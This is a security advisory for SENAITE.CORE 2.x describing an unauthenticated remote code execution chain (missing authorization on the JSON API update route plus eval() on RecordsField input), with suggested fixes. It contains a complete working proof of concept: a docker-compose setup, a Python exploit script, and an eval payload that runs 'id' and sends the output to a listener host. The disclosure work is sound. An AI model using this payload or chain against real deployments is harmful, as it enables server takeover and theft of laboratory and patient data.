senaite.core Vulnerable to Eval Injection and Missing Authorization

Summary

An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.

This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.

Details

The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.

1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:

if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
    raise Unauthorized(...)

The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.

When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).

2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:

elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = eval(value)
    except Exception:
        logger.warning(
            "JSONAPI: " + fieldname + ": Invalid "
            "JSON/Python variable")
        return []

The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.

The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.

Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:

GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain

8dbc161fa9f74aa4ad6e76eb1934518a

Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.

Suggested fixes

Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.

# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI

def update(self, context, request):
    if not getSecurityManager().checkPermission(AccessJSONAPI, context):
        raise Unauthorized("You don't have permission to update via JSONAPI")
    savepoint = transaction.savepoint()
    ...

Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:

# src/bika/lims/jsonapi/__init__.py
import json

elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = json.loads(value)
    except (ValueError, TypeError):
        logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
        return []

Apply the same change at record.py:253-262 and records.py:135-143.

Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.

PoC

Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.

docker-compose.yml

services:
  senaite:
    image: senaite/senaite:v2.6.0
    ports:
      - "8080:8080"
    environment:
      PASSWORD: senaitestrong  # non-default; chain is credential-free
      SITE: senaite
    networks:
      - poc

  listener:
    image: python:3.11-alpine
    command:
      - python
      - -c
      - |
        import http.server, socketserver
        log = []
        class H(http.server.BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path.startswith('/log'):
                    self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
                    self.wfile.write(('\n'.join(log)).encode())
                else:
                    log.append(self.path)
                    self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
            def log_message(self, *a, **k): pass
        socketserver.TCPServer.allow_reuse_address = True
        with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
    ports:
      - "8000:8000"
    networks:
      - poc

networks:
  poc:

poc.py

#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"

PAYLOAD = (
    "__import__('urllib2').urlopen("
    f"'{LISTENER_INSIDE}/?id=' + "
    "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
    ")"
)

def http_get(url, timeout=5):
    req = urllib.request.Request(url, headers={"Accept": "*/*"})
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def http_post(url, fields, timeout=10):
    body = urllib.parse.urlencode(fields).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def wait_for_target():
    deadline = time.time() + 600
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
                if r.status == 200: return
        except Exception: pass
        time.sleep(3)
    sys.exit(1)

def discover_bika_setup_uid():
    body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
    if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
        return body
    sys.exit(1)

def fire_payload(uid):
    try:
        http_post(f"{TARGET}/{SITE}/@@API/update",
                  {"obj_uid": uid, "RejectionReasons": PAYLOAD})
    except urllib.error.HTTPError:
        pass

def read_listener():
    time.sleep(1)
    try:
        log = http_get(f"{LISTENER_HOST}/log", timeout=3)
    except Exception:
        return False
    return "id=" in log

if __name__ == "__main__":
    wait_for_target()
    uid = discover_bika_setup_uid()
    fire_payload(uid)
    sys.exit(0 if read_listener() else 1)

Run

docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py

Expected output

[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_

The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.

Impact

Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).

Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.

Attacker capability after exploit:

• Arbitrary Python execution in the Zope worker process.
• Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds.
• Filesystem access on the container's /data volume.
• Outbound network egress from the worker.
• Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.

Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).

Credits

Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.

• Dr. Simon Weber
• Dipl.-Inf. Volker Schönefeld
• Chiara Fliegner

Website: https://machinespirits.com